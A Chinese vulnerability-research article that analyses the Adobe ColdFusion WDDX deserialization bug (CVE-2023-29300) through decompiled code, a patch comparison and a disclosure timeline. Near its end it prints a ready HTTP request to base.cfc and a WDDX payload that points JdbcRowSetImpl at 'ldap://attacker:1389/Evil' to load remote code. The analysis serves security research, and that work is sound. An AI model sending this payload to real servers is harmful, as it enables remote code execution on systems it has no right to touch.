Goby社区第 30 篇技术分享文章
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01 概述
近期,Adobe ColdFusion 发布了多个安全更新,引起了我们的关注。Adobe ColdFusion 是一款基于 Java 的商业应用程序服务器,2023 年 7 月 13 日,ProjectDiscovery 发布了分析文章,我们通过研究 CVE-2023-29300 发现这其实是一个未公开且非常有趣的漏洞,此时官方尚未发布安全补丁,因此我们立即开始寻找新的利用方式。不久之后,ProjectDiscovery 意识到自己公布了 0day 漏洞,紧急删除了分析文章,并等待官方发布安全补丁,具体的时间可参考下文的漏洞时间线。
ProjectDiscovery 公布的利用方式受 JDK 小于 9 的限制,经过测试,这条已公开的 JNDI 利用链成功利用率为 0.6%。其中提到了关于 commons-beanutils 的利用链,经过我们的分析,实际上并不需要使用它,并且还存在其它的利用链。本文将从 ColdFusion 2023 发布版的 Update 1 安全更新内容入手,详细分析 CVE-2023-29300 的漏洞成因,并提出一些后续的研究方向。
**我们在 Goby 中已经集成了 CVE-2023-29300 漏洞的 JNDI 利用链(CVE-2023-38204),实现了命令执行回显和自定义 ldap 服务器地址的功能。**演示效果如下:
02 漏洞环境
我们已经在 vulfocus 中集成了开箱即用的环境,版本为 Ubuntu 20.04 + JDK 8u60 + Apache Tomcat 9.0.78 + ColdFusion Release 2023.0.0.330468。拉取镜像:
docker pull vulfocus/vcpe-1.0-a-adobe-coldfusion:2023.0.0.330468-openjdk-release
启动环境:
docker run -d -P vulfocus/vcpe-1.0-a-adobe-coldfusion:2023.0.0.330468-openjdk-release
7 月 12 日,Adobe 发布了 ColdFusion (2023 release) Update 1 更新。将 patch 包反编译后的代码与更新前的代码进行比对,可以发现 coldfusion.wddx.DeserializerWorker#startElement() 方法中的明显变化:
新增的 validateWddxFilter() 方法如下。
`private void validateWddxFilter(AttributeList atts) throws InvalidWddxPacketException {` `String attributeType = atts.getValue("type");` `if (attributeType.endsWith(";")) {` `attributeType = attributeType.replace(";", "");` `}` `if (attributeType.startsWith("L")) {` `String attributeTypeCopy = attributeType;` `validateBlockedClass(attributeTypeCopy.replaceFirst("L", ""));` `}` `validateBlockedClass(attributeType);``}`` ``private void validateBlockedClass(String attributeType) throws InvalidWddxPacketException {` `if (attributeType != null && !attributeType.toLowerCase().startsWith("coldfusion") && !attributeType.equalsIgnoreCase(StructTypes.ORDERED.getValue()) && !attributeType.equalsIgnoreCase(StructTypes.CASESENSITIVE.getValue()) && !attributeType.equalsIgnoreCase(StructTypes.ORDEREDCASESENSITIVE.getValue()) && WddxFilter.invoke(attributeType)) {` `throw new InvalidWddxPacketException();` `}``}`
搜索相关文档可知,ColdFusion 实现了一种叫做 WDDX(Web Distributed Data Exchange,Web 分布式数据交换)的古老的 XML 技术。通过实现 WDDX,可以使变量(包括名称,数据类型和值)序列化成一个 XML 文档,应用程序可通过反序列化此 XML 文档,来重新建立这些变量。
实现了 coldfusion.wddx.WddxObjectSerializer 接口的各个序列化器能够对数据进行 WDDX 序列化,如 StringSerializer,NumberSerializer,BeanSerializer 等等。我们尝试使用 BeanSerializer 对自定义的 Java Bean 进行序列化,调试过程中也可以看到对象类型与序列化器默认的映射关系。
输出的序列化结果格式如下。
`<wddxPacket version='1.0'>` `<header/>` `<data>` `<struct type='LJavaBean;'>` `<var name='age'>` `<number>233.0</number>` `</var>` `<var name='name'>` `<string>233</string>` `</var>` `</struct>` `</data>``</wddxPacket>`
对应地,反序列化由 coldfusion.wddx.WddxDeserializer 类实现。对于 ColdFusion 来说,WDDX 中的每个元素都是一个 WddxElement,不同的元素对应着不同的 Handler 处理类,例如 标签中的元素与属性将由 StringHandler 处理, 标签会由 StructHandler 处理。其中我们关注 onStartElement() 和 onEndElement() 方法。
`public void onStartElement(String name, AttributeList attributes) throws WddxDeserializationException {` `this.m_strictType = attributes.getValue("type");` `//...``}`
`public void onEndElement() throws WddxDeserializationException {` `if (this.m_strictType == null) {` `// ...` `} else {` `Class beanClass = null;` `Object bean = null;`` ` `try {` `beanClass = getClassBySignature(this.m_strictType);` `bean = beanClass.getDeclaredConstructor().newInstance();` `this.setBeanProperties(bean, this.m_ht);` `this.setTypeAndValue(bean);` `} catch (Exception var6) {` `// ...` `}` `}``}`
onStartElement() 和 onEndElement() 是 SAX 解析器(Simple API for XML)中的回调方法,分别在解析到 XML 元素的开始和结束标签时被调用。可以看到 标签的 type 属性将在 onStartElement() 方法中被赋值给变量 m_strictType。跟进 getClassBySignature() 方法。
`private static Class getClassBySignature(String jniTypeSig) throws ClassNotFoundException {` `int index = 0;` `char c = jniTypeSig.charAt(index);` `String className;` `switch (c) {` `// ...` `default:` `className = jniTypeSig.substring(index + 1, jniTypeSig.length() - 1);` `return Class.forName(className);` `// ...` `}``}`
很明显,这里首先会截掉 type 属性的前后两字符,然后将剩下的字符串视作类名,调用 Class.forName() 方法进行类加载,并紧接着在 onEndElement() 方法中调用其无参构造。接下来 StructHandler#setBeanProperties() 方法中存在明显的 Method#invoke() 操作,目的是调用目标对象的 setter 方法,为刚刚被实例化的对象属性赋值。由于代码片段较长,这里就不贴出了。
至此,我们可以得出结论:ColdFusion 的 WDDX 序列化与反序列化机制和 FastJson 很相似,都是基于目标对象的 getter 和 setter 方法,并在序列化和反序列化阶段自动调用。回头看安全更新的内容,如果没有过滤传入的 type 属性,那就类似于 FastJson 1.2.24 版本的情况,攻击者可以利用这个漏洞,实例化任意存在无参构造方法的类,并进一步调用其指定的 setter 方法,而且还可以控制参数。这无疑是存在漏洞利用的风险的。
为了寻找传入序列化 payload 并触发反序列化的途径,我们在 Jadx 中全局搜索 WddxDeserializer#deserialize() 方法的引用,据此跟进 coldfusion.filter.FilterUtils#WDDXDeserialize()。
`public static Object WDDXDeserialize(String str) throws Throwable {` `WddxDeserializer deserializer = new WddxDeserializer();` `InputSource source = new InputSource(new StringReader(str));` `return deserializer.deserialize(source);``}`
继续搜索 WDDXDeserialize() 的引用,跟进 FilterUtils#GetArgumentCollection()
`public static Map GetArgumentCollection(FusionContext context) throws Throwable {` `ServletRequest request = context.request;` `String attr = (String)context.pageContext.findAttribute("url.argumentCollection");` `if (attr == null) {` `attr = (String)context.pageContext.findAttribute("form.argumentCollection");` `}`` ` `Struct argumentCollection;` `if (attr == null) {` `// ...` `} else {` `attr = attr.trim();` `if (attr.charAt(0) == '{') {` `// ...` `} else {` `argumentCollection = (Struct)WDDXDeserialize(attr);` `}` `}` `// ...` `return argumentCollection;``}`
分析 findAttribute() 方法可知,参数为 url.xxx 表示从请求的 URL 中获取 xxx 的参数值,form.yyy 表示从上传的表单中获取 yyy 的参数值。继续向上追溯,最终定位到 coldfusion.filter.ComponentFilter#invoke() 方法中。ComponentFilter 是一个继承了 FusionFilter 抽象类的过滤器,既然和过滤器扯上了关系,第一步肯定就是检查 web.xml 配置文件了。
`<servlet-mapping id="coldfusion_mapping_4">` `<servlet-name>CFCServlet</servlet-name>` `<url-pattern>*.cfc</url-pattern>``</servlet-mapping>`
可知解析 .cfc 页面的 Servlet 即 CFCServlet。跟进 CFCServlet 的 getCFCFilterChain() 方法。
`private FusionFilter getCFCFilterChain(ServletRequest request) {` `FusionFilter filter = new ComponentFilter();` `FusionFilter filter = new ApplicationFilter(filter, 3);` `// ...` `FusionFilter filter = new MonitoringFilter((FusionFilter)filter, "CFC REQUEST");` `filter = new PathFilter(filter, this);` `// ...` `FusionFilter filter = new ExceptionFilter((FusionFilter)filter);` `FusionFilter filter = new ClientScopePersistenceFilter(filter);` `FusionFilter filter = new BrowserFilter(filter);` `FusionFilter filter = new NoCacheFilter(filter);` `boolean needsFormScope = true;` `FusionFilter filter = new GlobalsFilter(filter, true);` `FusionFilter filter = new DatasourceFilter(filter);` `return filter;``}`
其返回的 Filter Chain 中正好包含有 ComponentFilter。需要注意的是,PathFilter 会检查访问的目标文件是否存在,因此我们不能访问一个服务器中不存在的 .cfc 文件。据此尝试构造如下数据包,一路跟进到 ComponentFilter#invoke() 方法:
`POST /CFIDE/adminapi/base.cfc HTTP/1.1``Host: 127.0.0.1:8080``User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0``Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8``Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2``Accept-Encoding: gzip, deflate``Connection: close``Content-Length: 365``Content-Type: application/x-www-form-urlencoded`` ``argumentCollection=/* payload */`
此处存在一个 if 判断,如果没有传入 method 参数的话就会提前返回 302,截断我们的攻击路径。因此我们还需要传递一个 method 参数。
`POST /CFIDE/adminapi/base.cfc?method HTTP/1.1``Host: 127.0.0.1:8080``User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0``Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8``Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2``Accept-Encoding: gzip, deflate``Connection: close``Content-Length: 365``Content-Type: application/x-www-form-urlencoded`` ``argumentCollection=/* payload */`
这样我们就能跳过 if,调用 GetArgumentCollection() 方法将序列化后的恶意数据传入服务器了。
因此,我们类比 FastJson,不难想到通过调用 JdbcRowSetImpl 类的 setDataSourceName 和 setAutoCommit 两个 setter 方法来构造 JNDI 利用链。此利用链被赋予 CVE 编号 CVE-2023-38204。
`<wddxPacket version='1.0'>` `<header/>` `<data>` `<struct type='xcom.sun.rowset.JdbcRowSetImplx'>` `<var name='dataSourceName'>` `<string>ldap://attacker:1389/Evil</string>` `</var>` `<var name='autoCommit'>` `<boolean value='true'/>` `</var>` `</struct>` `</data>``</wddxPacket>`
我们注意到在 WEB-INF/bundles 及其子文件夹 repo 下还存有大量 Jar 包。在“存在即合理”的假设前提下,我们将所有 Jar 添加进了工作环境,在此基础上继续挖掘新的利用链,并成功实现了一种带有限制的新的利用方式。
CVE-2023-29300
2023.7.11 官方发布安全公告
2023.7.12 ProjectDiscovery 分析文章发布,未意识到 0day 公布
2023.7.13 ProjectDiscovery 隐藏分析文章
2023.7.14 漏洞修复
CVE-2023-38204
2023.7.13 漏洞披露(CVE-2023-29300 的具体利用链)
2023.7.19 漏洞修复
2023.7.19 ProjectDiscovery 开放分析文章
通过研究 CVE-2023-29300,我们了解了 Adobe ColdFusion 产品的基本工作原理,其不安全的 WDDX 序列化实现将产生可利用的漏洞。同时,我们详细分析了通过 argumentCollection 参数传入 payload 的完整调用路径,以及为何需要传入看似与利用无关的 method 参数。在此基础上,我们探索了利用的新方向,在这个过程中也踩了不少坑。阅读本篇文章后,大家在复现此漏洞以及在将来需要研究此产品时,就可以少走一些弯路了,后续有机会的话,会进一步分享研究成果。
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